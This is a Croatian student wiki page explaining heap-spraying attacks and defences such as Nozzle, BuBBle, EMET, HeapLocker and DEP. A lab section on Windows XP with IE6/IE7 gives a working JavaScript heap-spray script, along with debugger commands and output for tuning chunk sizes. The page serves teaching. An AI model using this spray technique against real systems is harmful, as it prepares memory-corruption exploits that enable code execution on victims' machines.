Heap Spraying

Izvor: SIS Wiki
Skoči na: orijentacija, traži

Članovi tima: Matej Piknjač, Saša Čalopek, Davor Lisjak



Sadržaj

Uvod

U današnje vrijeme gotovo da i nema osobe koja nije na neki način pretraživala Internet. Veoma ubrzani rast korisnika pretraživača weba u proteklim godinama rezultirao je i razvojem samih pretraživača, tako da ti pretraživači u današnje vrijeme imaju vrlo bogatu okolinu, koja, naravno, omogućuje web developerima razvijanje tehnički zahtjevnih aplikacija kakve se nalaze na svim posjećenijim web stranicama.

Međutim, takva bogata okolina web pretraživača također omogućuje mnogobrojne probleme vezane uz sigurnost, poput „Cross site scripting“ (XSS) ili „Cross site request forgery“ (CSRF)napada . Većina današnjih web pretraživača je pisana velikim djelom u C ili C++ programskom jeziku, što oh čini ranjivima na razne slabosti koje se pojavljuju u programima pisanim u tim jezicima. To su ranjivosti poput preljeva međuspremnika, reference na apolutni pokazivač…

--mapiknjac 13:26, 20. siječnja 2013. (CET)


Slabosti

Najčešće iskorištena slabost kod C baziranih aplikacija je preljev međuspremnika stoga. U toj vrsti napada napadač koristi preljev međuspremnika u polju, tako da piše kod izvan granica memorije koja je alocirana za to polje, čime prepisuje narednu lokaciju u memoriji. Ako napadači imaju mogućnost prepisivanja povratne adrese ili drugačijeg tipa pokazivača, tada dobivaju kontrolu nad tokom izvođenja programa, što im omogućuje da ga preusmjere na svoj, prethodno ubačeni kod.

Iako su te slabosti još uvijek vrlo izražene u programima napisanima u C programskom jeziku, sve teže ih je iskoristiti zbog primjene raznih protumjera. Cilj tih protumjera je zaštititi područja od potencijalnog interesa za napadače tako da ne mogu biti mjenjana ili spriječavaju napadača da otkrije gdje se u memoriji nalazi njegov ubačeni kod, čime se sprječava preusmjeravanje toka programa na lokaciju u memoriji na koju je napadač prethodno ubacio svoj kod. Iz tih su se razloga napadi preusmjerili na da drugačije tipove sigurnonosnih slabosti.

Jedna od tih slabosti je i preljev međuspremnika temeljenog na hrpi. Ipak, zbog razloga što se hrpa neprestano mjenja, takvu vrstu slabosti je izrazito teško iskoristiti, posebno kod web pretraživača, kod kojih hrpa može izgledati potpuno drugčije, što ovisi o web stranicama i o tome koliko je njih korisnik web pretraživača pregledao. Iz tog razloga napadač ne može odrediti gdje će se u hrpi nalaziti preljev, pa on iz toga ne može saznati gdje se nalazi njegov ubačeni kod.

--mapiknjac 13:26, 20. siječnja 2013. (CET)


Povijest

Heap spraying je prilično dugo na sceni. Prvotno je dokumentiran od strane hakera Skylined. Prema Wikipedii, prvi javni napad korištenjem heap spraying metode je otkriven u 2001. godini. Skylined je upotrijebio tu metodu te tako iskoristio slabost kod Internet Explorer web browsera. Sve do danas, ta je metoda ostala broj 1 kod metoda za ubacivanje koda kod slabosti web browsera. Iako je uloženo puno truda u detekciju i prevenciju te slabosti, ona postoji i danas. Načini ubacivanja koda su se možda promjenili kroz vrijeme, ali osnovna ideja je ostala ista.

--mapiknjac 18:37, 17. siječnja 2013. (CET)



Strukture

Stog

Svaka dretva u aplikaciji ima svoj stog. Da se podsjetimo, dretva je skup instrukcija u izvođenju. Stog je apstraktni tip podataka. Stog radi po LIFO principu, što znači "zadnji unutra, prvi van", te ne zahtijeva puno upravljanja. Operacije koje se izvode nad stogom su push, koji služi za dodavanje elemenata u stog, te pop, koji služi za uzimanje elemenata iz stoga(slika1). Obično se koristi za pohranjivanje lokalnih varijabli, pokazivača na podatke, funkcije i objekte, argumente funkcija, rukovatelja iznimkama... Obično je fiksne veličine, a ona se definira kod pokretanja aplikacije, ili kod kreiranja nove dretve u aplikaciji. Ukoliko je stog pun, te nema dovoljno kapaciteta da primi nove elemente, tada se smatra da je došlo do preljeva stoga.


Stog d.png

Slika 1: Jednostavna shema stoga, izvor

--mapiknjac 11:09, 20. siječnja 2013. (CET)


Hrpa

Hrpa je specijalizirani tip podataka, temeljena na stablima. Ona mora zadovoljavati svojstvo hrpe, koje glasi: ako je čvor A roditelj od čvora B, tada je ključ od čvora A nadređen ključu od čvora B, takav odnos se prenosi preko cijele hrpe. Ključ roditelja može biti ili veći ili jednak ključe djece (maksimalna hrpa, slika 2), u toj vrsti hrpe korijenski element ima najveći ključ u hrpi, ili roditelj može biti manji ili jednak ključe djece (minimalna hrpa), tada korijenski element ima najmanji ključ u hrpi. Na slici 2 je vidljivo da između čvorova „braće“ ili „bratića“ nema nikakvog uređenja niti slijeda, kao kod nekih drugih vrsta stabla. Broj djece koju svaki čvor hrpe može imati ovisi o samoj vrsti hrpe. Poznata je binarna hrpa koja dozvoljava maksimalno dvoje djece po čvoru.

Hrpa je osmišljena da bi zadovoljavala zahtjeve dinamičke alokacije memorije. Veoma je korisna u situacijama kada se prije pokretanja nezna koliko će podataka dretva primiti ili koliko će podataka procesuirati.


Max heap.png

Slika 2: Primjer binarne maksimalne hrpe, izvor

--mapiknjac 11:36, 20. siječnja 2013. (CET)



Preljevi međuspremnika baziranog na hrpi

Glavni cilj „heap spray“ napada je ubaciti maliciozni kod u memoriju te preusmjeriti tok programa na tak kod čime se pokreće napad. Napadi temeljeni na „heap spray“ filozofiji se smatraju posebnim vrstom napada temeljenih na hrpi iz razloga što zahtijevaju korupciju memorije. Iskoristive slabosti za takvu vrstu napada koriste dinamički alociranu memoriju. Neki generalni način za iskorištavanje preljeva međuspremnika baziranog na hrpi je prepisivanje informacija o upravljanju koje alokator memorije sprema u podatke.

Alokatori memorije rade na takvom principu da podatke spremaju u memoriju u komadima. Ti komadi se nalaze u dvostruko povezanoj listi, te sadrže informacije o upravljanju memorijom i stvarne podatke. Mnogi alokatori mogu biti napadani na način da im se prepišu djelovi koji sadrže informacije o upravljanju memorijom. Pošto je memorija temeljena na hrpi puno manje predvidljiva od stoga, teže je napadaču predvidjeti adresu u memoriji na kojoj se nalazi njegov ubačeni kod.

--mapiknjac 18:54, 17. siječnja 2013. (CET)



Heap Spraying napadi

Za zaštitu od napada preko slabosti uzrokovanih preljevom međuspremnika razvijene su razne protumjere, poput „Address Space Layout Randomization“ (ASLR). Ona funkcionira tako da slučajnim odabirom dodjeljuje prostor u adresnom prostoru procesa. Takvo dodjeljivanje adresnog prostora bi trebalo spriječiti napadače da jednostavno predvide adrese u adresnom prostoru procesa.

Heap spraying je razvijen tako da može bez problema zaobići protumjere koje su razvijene za zaštitu od slabosti preljeva međuspremnika, poput „Address Space Layout Randomization“ (ASLR ). On funkcionira na takav način da povećava mogućnost da napadačev ubačeni kod završi na njemu željenoj adresi u memoriji. Izvodi se tako da da se hrpa popuni velikim brojem objekata koji sadrže napadačev ubačeni kod. Zbog toga se napad naziva sprejanjem hrpe. Taj postupak punjenja (sprejanja) povećava mogućnost uspjeha napada te ga također pojednostavljuje. Iako se o toj vrsti napada ne piše puno, te je ona i prilično nepoznata, veliki broj napada je izvršen upravo sa tom tehnikom.

Heap spraying napad povećava vjerojatnost skoka na ubačeni kod (shellcode). Da bi se to postiglo, napravljen je osnovni blok sa instrukcijama koje efektivno ne rade ništa, a naziva se NOP – „No Operation Performed“. Veličina tog bloka se povećava sa pridodavanjem „appending“ sadržaja bloka samom sebi, čime se tvori tzv. „NOP sled“, što bi se na Hrvatskom jeziku moglo tumačiti kao posmak blokova sa operacijama koje ne rade ništa :). Na kraju se dodaje ubačeni kod, tj. „shellcode“. Na taj način se zauzima podosta memorijskog prostora, čime se postiže da u slučaju da se dogodi skok toka programa na bilo koji dio NOP sleda, tok programa se preusmjerava preko NOP blokova na sam ubačeni kod napdača (shellcode). Ukoliko je veći NOP sled veća je mogućnost da će napad biti uspješan. Shema je vidljiva na slici 3.

NOPsled.png

Slika 3: NOP blok i ubačeni kod pridodani u jedan maliciozni objekt,link,str.3

Druga faza napada sastoji se od punjenja hrpe web browsera sa velikim brojem „NOP sledova“, korištenjem konstrukata koji su omogućeni skriptnim jezikom koji je podržan od strane web browsera. Na slici 4 je vidljiva shema napada heap spraying metodom tijekom punjenja hrpe. Napad se pokreće korupcijom memorije. Ona može omogućiti napadaču da skoči na proizvoljno mjesto u memoriji. Napad se oslanja na vjerojatnost da će skok završiti u jednom od malicioznih objekata.

Heap spraying.png

Slika 4: Heap spraying napad: hrpa je dopunjena objektima koji sadrže NOP blokove i kod,link,str.4

Iako se ovdje prvenstveno posvećujemo web browserima, ova vrsta napada je izvediva na svim procesima koji dozvoljavaju korisnicima da alociraju objekte u memoriji. Primjer takvog napada je slabost kod Adobe Reader programa, kod kojih maliciozna .pdf datoteka može biti korištena za izvršavanje proizvoljnog programskog koda. Heap spraying napad se smatra neobičnim napadom na siguronosnu slabost, iz razloga što se „sprejanje hrpe“ smatra legalnom radnjom, te je dozvoljeno od strane aplikacija.

Web stranice koje koriste AJAX (Asynchronous Javascript And XML) tehnologiju, a to su u današnje vrijeme skoro sve, koriste heap spraying kao regularnu operaciju. Pošto protumjere za sprečavanje iskorištavanja te slabosti ne smiju aplikaciji onemogućiti alociranje memorije, detekcija heap sprayinga predstavlja veoma velik problem.

Struktura hrpe uvelike ovisi o broju alociranja i solobađanja memorije koje je izvela aplikacija prije napada heap spraying-om, te to predstavlja veliki problem napadaču koji želi pokrenuti svoj ubačeni kod bez da zna kako je uređen sadržaj hrpe. Možemo pretpostaviti da se onda napad svodi na pogađanje adrese na koji je ubačen maliciozni dio. No, korištenjem skriptnih programskih jezika koji se izvršavaju na strani korisnika, poput Javascripta, moguće je konstruirati idealne okolnosti za takav napad i posložiti hrpu tako da njezina struktura odgovara napadaču. Slika 5 Prikazuje tipični heap spraying napad u Javascriptu:

Code snipet.png

Slika 5: Javascript programski kod koji izvodi osnovni heap spraying napad, obično je pridodan u HTML web stranicu,link,str.5

--mapiknjac 18:34, 18. siječnja 2013. (CET)



Zaštite od heap spraying napada

mjere zaštite preuzete sa BuBBle: A Javascript Engine Level Countermeasure against Heap-Spraying Attacks


Nozzle (Raspršivač)

Prva protumjera koja je dizajnirana za zaštitu od heap spraying napada na web browserima se na naziva „Nozzle“, na hrvatskom raspršivač. Koristi emulacijske tehnike za detekciju prisutnosti malicioznog koda. To se postiže analizom sadržaja svakog objekta alociranog od strane web browsera. U pravilu je ta protumjera implementirana na nivou alokatora memorije. Ta protumjera štiti od napada od heap spraying napada izvedenog sa bilo kojim skrpitnim jezikom podržanim od strane web browsera. Svaki blok u hrpi se rastavlja i konstruira se graf kontrole toka na temelju dekodiranih instrukcija. Pomoću tog pristupa se maliciozni blok lako detektira jer je vidljivo na grafu kontrole toka da jedan dio bloka (ubačeni kod) može biti dostupan na više načina – tj. iz više NOP objekata. Računa se vjerojatnost skoka unutar istog objekta za svaki objekt u hrpi.

Međutim, ta protumjera provjerava objekte u određenim intervalima, te stoga napadači mogu iskoristiti tzv. TOCTOU (Time-Of-Check-Time-Of-Use) slabost. Ona funkcioniran na način da napadač najprije alocira dobročudni objekt, pričeka Nozzle protumjera da ispita taj objekt, nakon toga promjeni sadržaj objekta u maliciozni kod, i pokrene napad.

Slabost te protumjere se također očituje u tome da ona ne provjerava cijelu hrpu, već samo neke poddjelove hrpe, zbog performansi. Provjera cijele hrpe je neprihvatljiva jer bi predugo trajala. Nozzle predpostavlja da heap spraying alocira relativno mali broj velikih objekata, stoga dizajn baziran na toj pretpostavci ne zaštićuje od napada koji alociraju veliki broj malih objekata, a oni imaju istu vjerojatnost za uspjeh.

--mapiknjac 11:17, 19. siječnja 2013. (CET)

BuBBle

Heap spraying napadi oslanjaju se na to što se očekuje da veliki dijelovi memorije sadrže iste informacije (tj.Nop-shellcode) i to da gdje god unutar nopsleda "sleti" shellcode će se izvršiti. BuBBle štiti tako da dodaje raznolikost na hrpu što otežava heap spraying napade. Umeću se posebne prekidajuće vrijednosti u stringove na nasumičnim pozicijama kada se oni upisuju u memoriju, a uklanjaju se kada aplikacija koristi te stringove. Te vrijednosti uzrokuju program da izbaci exception kada budu izvršene kao instrukcije te tako onemogućuju napadača da se oslanja na to da je nopsled ili shellcode netaknut. Kako napadač ne bi pokušao na slijepo pogoditi gdje se nalaze zaštite te ih preskočiti, one se postavljaju nasumično. BuBBle implementira taj koncept u Javascript enginu Firefoxa. Prekidanje se regulira parametrom koji se može birati u build time-u browsera. BuBBle koristi 25 bajta, to je najmanji korisni shellcode kojeg su pronašli. shellcode. To postavlja interval prema kojem se dodaju prekidajuće vrijednosti. Dakle, broj intervala se računa kao duljina stringa u bajtovima podijeljeno s 25 te zaokruženo na više. Za svaki interval bira se nasumična vrijednost koja predstavlja poziciju unutar stringa koja bude modificirana. Parametar označuje veličinu intervala odnosno koliko će se pozicija modificirati u jednom stringu. Udaljenost između dvije susjedne pozicije može biti veća od 25 ako jedna pozicija bude bliže početku intervala a sljedeća negdje na kraju svog intervala što znači da je moguće smjestiti najmanji shellcode između njih. Međutim, heap spraying napadi su bazirani na velikim količinama homogenih podataka, a ne samo na ubacivanju shellcode-a. Kada se znakovi na nasumičnim pozicijama promijene, potporna podatkovna struktura se puni s metapodacima kako bi se pratile originalne vrijednosti i pozicija gdje su one zapisane u stringu. Modificirani string se zapisuje u memoriju, a prilikom korištenja stringa, engine izvršava inverznu funkciju kako bi se vratila prava vrijednost stringa. To se postiže čitanjem metapodataka iz podatkovne strukture vezane za trenutni Javascript string i zamjenom prekidajućih vrijednosti originalnima s kopije sadržaja sa stringa. Svaka varijabla stringa ostane modificirana tako dugo dok je u memoriji i njezina kopija se vraća u izvornu vrijednost kada aplikacija zatražuje pristup tome stringu. Nakon što funkcija aplikacije obradi string, novi string se ponovo štiti.

--Dalisjak 18:41, 20. siječnja 2013. (CET)

EMET

Enhanced Mitigation Experience Toolkit je aplikacija koja čuva od iskorištavanja ranjivosti u software-u. To čini koristeći posebne tehnologije koje služe kao posebne zaštite i prepreke koje napadač mora prebroditi kako bi mogao iskorištavati ranjivosti software-a. Te mjere ne garantiraju sigurnost, ali čine iskorištavanje ranjivosti koliko najviše mogu teško. U mnogo slučajeva se potpuno funkcionalna ranjivost koja bi mogla zaobići EMET neće nikada izraditi. EMET prealocira određene "popularne" regije u memoriji. Ako su lokacije kao što su 0a0a0a0a ili 0c0c0c0c već alocirane, heap spray će raditi ali ta lokacija ne bi sadržavala korisnikove podatke pa skakanje u nju nema previše smisla. EMET je dizajniran da radi s bilo kojim softwareom, nevezano kada i tko ga je napisao, međutim postoje iznimke. Neke aplikacije se oslanjaju na ponašanje sustava koje EMET blokira stoga je potrebno testirati na računalima koristeći testne scenarije. Ako postoji problem sa specifičnom mitigacijom, one se mogu pojedinačno uključiti/isključiti.

--Dalisjak 18:54, 20. siječnja 2013. (CET)

HeapLocker

HeapLocker je open source alat za smanjivanje heap spray napada. Kada se dogodi napad heap sprayem, alokacija virtualne memorije naglo poraste. Ovaj alat omogućuje postavljanje maksimalne količine virtualne memorije koju neki proces koristi. U slučaju prekoračenja, alat zaustavlja(suspendira) proces i pop-upom informira korisnika o prekoračenju. Postavljanjem HeapLockera (alat je u obliku dll-a) unutar neke aplikacije, on provjerava postavljenu vrijednost za maksimalnu količinu memorije te pokreće novu dretvu unutar procesa aplikacije. Ta dretva se budi svake sekunde i provjerava količinu memorije koje je proces alocirao. Ako veličina prekoračuje zadano ograničenje, dretva će zaustaviti ostale dretve tog procesa i prikazati poruku korisniku.

Heaplocker 2.png

Korisnik može odlučiti da ubije proces ili da ga nastavi koristiti. U slučaju nastavka korištenja, alat će odblokirati odnosno resume-ati ostale dretve procesa te će ga prestati provjeravati sve dok je taj proces živ. Dakle, bilo bi mudro restartati aplikaciju ako korisnik ima namjeru otvarati druge dokumente. Moguće je isključiti ovu mogućnost u registry-u tako da automatski ubija procese u slučaju prekoračenja. HeapLocker je također kompatibilan sa EMET-om.

Heaplocker 1.png

Druga tehnika zaštite koja je implementirana u HeapLockeru je nopsled detekcija. Alat kreira novu dretvu koja svake sekunde provjerava nove virtualne stranice koje se mogu čitati i po njima pisati. Kada je nopsled duži ili jednak postavljenom minimalnoj duljini detektiran unutar tih stranica, alat će zaustaviti sve dretve osim vlastite i upozoriti korisnika o nopsled-u. Instrukcije koje se sastoje od jednog byte-a i heaplocker ih prepoznaje možete vidjeti ovdje. Moguće je da se nopsled prekasno pronađe, to jest da se shellcode već izvršio, ili da prerano skenira stranicu, odnosno prije nego nopsled bude zapisan u nju.

Heaplocker 4.png

Treća tehnika zaštite koja je implementirana u HeapLockeru je detekcija stringova. Alat kreira novu dretvu koja svake sekunde provjerava nove virtualne stranice koje se mogu čitati i po njima pisati. Kada specifični string bude pronađen unutar stranica, alat će zaustaviti sve dretve osim vlastite i upozoriti korisnika da je string pronađen. String "unescape" mora se nalaziti iza znaka jednako ili ispred lijeve zagrade. Metoda nije potpuno pouzdana jer je moguće da alat skenira stranicu prije nego što je zapisan "unescape" string u nju.

Heaplocker 3.png

HeapLocker, poput EMETa, može također pred-alocirati memorijske stranice tako da se one ne mogu koristiti za heap spray pošto neće moći injicirati shellcode na zaštićene adrese. Za razliku od EMET-a, ovaj alat ima dva načina pred-alociranja. Prvi je način identičan EMETovom, a drugi način zapisuje posebni shellcode na pred-alocirane stranice koji u slučaju da se pokrene radi ranjivosti, poziva HeapLocker da zaustavi sve dretve i prikazuje upozorenje.

--Dalisjak 18:54, 20. siječnja 2013. (CET)

Detekcija malicioznog koda

Ova vrsta protumjere se na istoj pretpostavci kao i Nozzle, da napad može biti proveden od strane HTML stranice u koju je uključen Javascript, te od pretopstavke da su Javascript stringovi jedini način za alokaciju malicioznih podataka na hrpu. Tako se provjeravaju i nadziru svi podaci koji su u hrpu alocirani od strane Javascripta. Svi testovi moraju biti sprovedeni prije nego slabost može biti iskorištena za promjenu kontrole toka aplikacije. Ukoliko sustav utvrdi prisutnost malicioznog koda, zaustavlja se izvršavanje skripte.

--mapiknjac 11:33, 19. siječnja 2013. (CET)


Data Execution Prevention (Prevencija izvršavanja)

Prevencija izvršavanja podataka, eng. "Data Execution Prevention", ili skraćeno DEP je protumjera koja sšrečava izvršavanje stranica koda u memoriji. Može biti implementirana i pomoću hardwera i pomoću softwera. Ukoliko je DEP uključen, stranice koda će biti označene da kao da ih nije moguće izvršiti te će to spriječiti napadača da izvrši svoj ubačeni kod na hrpi. Ukoliko aplikacija pokuša izvršiti ubačeni kod koji je označen od strane DEP-a, podići će se iznimka prekršaja pristupa (access violation exception). To će dovesti do rušenja aplikacije, ukoliko se njome pravilno ne rukuje.

--mapiknjac 16:20, 20. siječnja 2013. (CET)


Rastavljanje i replikacija informacija

Takva vrsta protumjera replicira informacije o kotroli toka ili rastavlja te informacije od običnih podataka. Takva vrsta protumjere otežava napdaču da prepiše informacije o kotroli toka koristeći preljev. Protumjera jednostavno kopira povratne adrese iz stoga u pričuvni stog i uspoređuje i po potrebi zamjenjuje adrese na stogu prije vraćanja iz funckija. Međutim, takve protumjere se mogu lako zaobići korištenjem prepisivanja indirektnih pokazivača tako da napadač prepiše prepiše drugu lokaciju u memoriji umjesto povratne adrese korištenjem pokazivača na stogu.

Neke naprednije metode pokušavaju rastaviti sve podatke o kontroli toka od običnih podataka, te time onemogućavaju napadača od korištenja preljeva za prepisivanje podataka. One vrlo učikovito štite od preljeva međuspremnika koi pokušavaju prepisati informacije o kontroli toka, ali ne štite od napada u kojima napadač ima kontrolu nad integerom koji se koristi kao pomak kod pokazivača, a niti kod napada koji ne koriste kontrolu toka.

--mapiknjac 11:56, 19. siječnja 2013. (CET)

Malo praktični dio

Radna okolina - OS, software, ...

Praktični dio je rađen na Fedori 17 x86_64,i u VirtualBox-u pokrenut WinXP SP3 x86. Koncepti heap spraying-a se testiraju na XP SP3 i IE6, IE7 browserima. DEP je isključen. Sljedeće trebamo Immunity Debugger, mona.py, windbg i wmmap ( dostupan i u Live.Sysinternals.com). Nisu svi potrebni ali svaki nešto pokazuje pa ih je dobro isprobati. Potrebna je još mala konfiguracija nekih programa i spremni smo.

--sacalopek 15:44, 20. siječnja 2013. (CET)


Alokacija memorije

Internet preglednici puno olakšavaju alokaciju jer imaju podržan javascript, tako da je očiti način alociranja memorije:

<html>
    <body>
    <script language='javascript'>
        var myvar = "CORELAN!";
        alert("allocation done");
    </script>
    </body>
</html>

Pokrenemo Immunity Debugger te se zakačimo za IE6 ( iexplorer.exe ) te koristeći mona-u možemo pronaći određeni string sa:

     !mona find -s "CORELAN!" -unicode -x * 

Ili u WinDBG-u:

     s -u 0x00000000 L?0x7fffffff "CORELAN!" 

To onda izgleda kao na slici ispod:

Izgled memorije.
Izgled memorije

Znamo da možemo zauzeti memoriju koristeći varijablu tipa string u javascript-u, u ovom primjeru iznad zauzeto je malo memorije. Shellcode će biti dosta veći ali opet relativno mali prema ukupno dostupnoj virtualnoj memoriji hrpe. Moguće je koristiti više varijabli i da svaka sadrži shellcode i onda pokušati skočiti na početak bloka u memoriji, ali trebali bi biti vrlo precizni, tj. znati adresu početka bloka. Zato se to radi na malo drugačiji način. Alociraju se veći dijelovi memorije koji se sastoje od dva dijela:

  1. NOPs
  2. shellcode ( na kraju )

Zbog fragmentacije prvih nekoliko alokacija bude rezultiralo nepouzdanim adresama jer taj popunjeni prostor nije deterministički i ovisi o programu ( IE u ovom primjeru ), instaliranim dodacima i sl., ali kako se nastavlja alocirati dio memorije doći će se do dijela koji će uvijek biti ispunjen s NOP operacijama. Kad je taj dio siguran, jedino što preostaje je skočiti na neku adresu koja sadrži NOP, oni će se redom izvršavati ( ne rade ništa ) i na kraju doći do našega shellcode-a te će se i on izvršiti. To se vidi na ove dvije slike ispod.

Heap alloc.png
Izgled hrpe.
Izgled hrpe

Još jedan problem je taj kad se alocira string, on se pretvara u BSTR objekt. Pitanje je da li je tražena memorija u hrpi iste veličine kao i BSTR objekt ili je veća? Ako je veća čime se puni ostatak? Ako svaki dio alocirane memorije sadrži "garbage", a alocira se puno dijelova, između svaka ta dijela se nalaze nepredvidivi podaci i to je problem jer se može dogoditi da umjesto na NOP operacije skočimo na taj dio.

Heap chunk.png

To se riješi na način da se odabere pravila veličina BSTR objekta tako da alocirani dio memorije u hrpi bude po veličini što bliže BSTR objektu.

--sacalopek 16:19, 20. siječnja 2013. (CET)


Osnovna skripta

Koristeći puno zasebnih varijabli nebi nikamo vodilo tako da se koristi polje. Polje = nops + shellcode. Ideja je da polje bude dovoljno veliko da u memoriji oni budu jedan do drugoga ili jako blizu. Ovdje je za primjer na početak svakog bloka stavljen string “CORELAN!” a ostatak popunjen sa NOP kodom. Naravno kad se radi nešto ozbiljnije se sve puni sa NOPs a kraj sa shellcode-om.

Kod se nalazi ispod:

<html>
   <script >
     tag = unescape('%u4F43%u4552'); // CORE
     tag += unescape('%u414C%u214E'); // LAN!

     chunk = '';
     chunksize = 0x1000;
     nr_of_chunks = 200;

     for ( counter = 0; counter < chunksize; counter++) {
	chunk += unescape('%u9090%u9090');
     }

     document.write("size of NOPS at this point : " + chunk.length.toString() + "<br>");
     chunk = chunk.substring(0,chunksize - tag.length);
     document.write("size of NOPS after substring : " + chunk.length.toString() + "<br>");

     testarray = new Array();
     for ( counter = 0; counter < nr_of_chunks; counter++) {
	testarray[counter] = tag + chunk;
	document.write("Allocated " + (tag.length+chunk.length).toString() + " bytes <br>");
      }
     alert("Spray done")
  </script>
</html>

Pokrenemo IE6, otvorimo stanicu koja sadrži skriptu i to onda izgleda ovako:

Primjer 1.
Primjer pokrenute skripte iznad.

Sa alatom VMMap možemo vidjeti što se događa u pretraživaču. Stanje memorije prije pokretanja skripte:

Primjer pokrenute skripte iznad. WMMap prije spray-a
Primjer pokrenute skripte iznad. WMMap prije spray-a


I stanje poslije otvaranja html stranice sa skriptom:

Primjer pokrenute skripte iznad. WMMap nakon spray-a
Primjer pokrenute skripte iznad. WMMap nakon spray-a

Zadnja dva žuta bloka je alocirala ta skripta. Ovdje se može vidjeti problem s fragmentacijom, žuti dio na dnu je alocirala naša skripta. Sve što bi došlo poslije njega je već sigurnije da se bude nalazilo tu nego neki blok prije.

Ako pogledamo pomoću Immunity Debugger alata:

  !mona find -s "CORELAN!" 

Pošto blok započinje sa "CORELAN!" tražimo njega, nakon toga prikažemo stanje na nekoj od adresa na kojima je pronađen:

  d 0x0021EEB4 
Stanje u memoriji nakon izvršene skripte.

Vidi se sa slike da je prije i poslije stringa memorija puna s 90 ili NOP-ima. Ali se vidi i dio smeća između dva BSTR objekta. Bitno je da "smeće" bude što manje ili najbolje da ga uopće nema.

Isto se može vidjeti i pomoću WinDBG alata, ali on ima još neke dodatne opcije pa tako možemo vidjeti statistiku hrpe :

0:007> !heap -stat -h 00150000
 heap @ 00150000
group-by: TOTSIZE max-display: 20
    size     #blocks     total     ( %) (percent of total busy bytes)
    2010 c0 - 180c00  (67.90)
    8000 3 - 18000  (4.24)
    4000 4 - 10000  (2.82)
    3ff0 3 - bfd0  (2.12)
    4010 2 - 8020  (1.41)
    57f0 1 - 57f0  (0.97)
    52ac 1 - 52ac  (0.91)
    614 c - 48f0  (0.80)
    20 224 - 4480  (0.76)
    3980 1 - 3980  (0.63)
    2a4 11 - 2ce4  (0.50)
    580 8 - 2c00  (0.49)
    1fe6 1 - 1fe6  (0.35)
    108 18 - 18c0  (0.27)
    800 3 - 1800  (0.26)
    d8 1b - 16c8  (0.25)
    16c0 1 - 16c0  (0.25)
    1530 1 - 1530  (0.23)
    e0 17 - 1420  (0.22)
    141c 1 - 141c  (0.22)

Vide se veličine i broj blokova, ali još se ne zna koji je naš. Zato se uzme jedna adresa na kojoj je string "CORELAN!":

0:007> !heap -p -a 0x0235a2c4
    address 0235a2c4 found in
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0235a2b8 0403 0000  [01]   0235a2c0    02010 - (busy)

Ako pogledamo UserSize, to je veličina rezervirana za naš heap u memoriji. BSTR objekt pokazuje da je alocirano duplo više nego što smo naveli u skripti, ali to je duljina vraćena iz unescape funkcije. Alocirano je još i nešto više od toga pa možemo pokušati manipulirati time tako da mijenjamo veličinu BSTR objekta. Želimo postići da te dvoje bude isto ili barem jako blizu.

Postavimo u skripti prije da je chunksize = 0x4000 i probamo opet:

0:006> !heap -stat -h 00150000
 heap @ 00150000
group-by: TOTSIZE max-display: 20
    size     #blocks     total     ( %) (percent of total busy bytes)
    8010 c8 - 640c80  (89.23)
    8000 6 - 30000  (2.68)
    7ff0 3 - 17fd0  (1.34)
    57f0 1 - 57f0  (0.31)
    52ac 1 - 52ac  (0.29)
    614 c - 48f0  (0.25)
    20 222 - 4440  (0.24)
    3980 1 - 3980  (0.20)
    2a4 11 - 2ce4  (0.16)
    580 8 - 2c00  (0.15)
    1ff6 1 - 1ff6  (0.11)
    800 3 - 1800  (0.08)
    d8 1b - 16c8  (0.08)
    16c0 1 - 16c0  (0.08)
    108 16 - 16b0  (0.08)
    1530 1 - 1530  (0.07)
    e0 17 - 1420  (0.07)
    141c 1 - 141c  (0.07)
    504 4 - 1410  (0.07)
    1378 1 - 1378  (0.07)

U ovom slučaju, 89.23 % alociranih djelova hrpe ima istu veličinu ( 8010 bajti ). Promjenimo veličinu još jednom, chunksize = 0×10000:

0:006> !heap -stat -h 00150000
 heap @ 00150000
group-by: TOTSIZE max-display: 20
    size     #blocks     total     ( %) (percent of total busy bytes)
    20010 c8 - 1900c80  (96.60)
    8000 6 - 30000  (0.72)
    20000 1 - 20000  (0.48)
    7ff0 3 - 17fd0  (0.36)
    57f0 1 - 57f0  (0.08)
    52ac 1 - 52ac  (0.08)
    614 c - 48f0  (0.07)
    20 221 - 4420  (0.06)
    3980 1 - 3980  (0.05)
    2a4 11 - 2ce4  (0.04)
    580 8 - 2c00  (0.04)
    1ff8 1 - 1ff8  (0.03)
    800 3 - 1800  (0.02)
    d8 1b - 16c8  (0.02)
    16c0 1 - 16c0  (0.02)
    108 16 - 16b0  (0.02)
    1530 1 - 1530  (0.02)
    141c 1 - 141c  (0.02)
    504 4 - 1410  (0.02)
    1378 1 - 1378  (0.02)

Vidimo da je sada 96.60% blokova iste veličine. Primjer za jednu adresu se nalazi na slici ispod:

WinDBG primjer memorije.


Testiranje istoga u IE7:

0:009> s -a 0x00000000 L?0x7fffffff "CORELAN"
02a7dc4c  43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90 90 90  CORELAN!........
02a9ec4c  43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90 90 90  CORELAN!........
02abfc4c  43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90 90 90  CORELAN!........
02ae0c4c  43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90 90 90  CORELAN!........
02b01c4c  43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90 90 90  CORELAN!........
02b22c4c  43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90 90 90  CORELAN!........
0:009> !heap -stat -h 00150000
 heap @ 00150000
group-by: TOTSIZE max-display: 20
    size     #blocks     total     ( %) (percent of total busy bytes)
    20fc1 c9 - 19e5e89  (89.97)
    1fff8 5 - 9ffd8  (2.17)
    3fff8 2 - 7fff0  (1.74)
    7ff8 b - 57fa8  (1.19)
    fff8 5 - 4ffd8  (1.09)
    1ff8 21 - 41ef8  (0.89)
    3ff8 9 - 23fb8  (0.49)
    8fc1 4 - 23f04  (0.49)
    7ff0 3 - 17fd0  (0.33)
    ff8 c - bfa0  (0.16)
    7f8 17 - b748  (0.16)
    7db4 1 - 7db4  (0.11)
    614 13 - 737c  (0.10)
    57f0 1 - 57f0  (0.07)
    52ac 1 - 52ac  (0.07)
    5e4 b - 40cc  (0.05)
    20 200 - 4000  (0.05)
    3980 1 - 3980  (0.05)
    3f8 e - 3790  (0.05)
    580 8 - 2c00  (0.04)
0:009> !heap -p -a 045b584c
    address 045b584c found in
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        045b5840 4200 0000  [01]   045b5848    20fc1 - (busy)

